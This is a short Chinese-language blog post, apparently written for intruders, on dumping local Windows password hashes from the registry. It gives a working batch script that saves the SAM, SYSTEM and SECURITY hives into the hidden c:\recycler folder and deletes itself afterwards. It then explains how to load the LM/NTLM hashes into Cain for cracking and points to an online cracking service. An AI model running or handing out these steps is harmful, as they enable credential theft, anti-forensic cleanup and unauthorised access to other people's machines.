导注册表手工获取本地用户hash

从注册表导hash虽然网上有很多文章，这里主要参考了臭袜子的博文记录下，因为他整理的比较漂亮。

 

一般情况下只要导用AT导就可以了，不用像臭袜子同学那么纠结，还建立个system shell .

 

批处理

 

@echo off

reg save hklm\sam c:\recycler\sam.hive

reg save hklm\system c:\recycler\system.hive

reg save hklm\security c:\recycler\security.hive

del %0

 

破解：Cain—Cracker标签—左边LM&NTLM Hahses—空白处右键Add to List

跑密码    http://www.objectif-securite.ch/en/products.php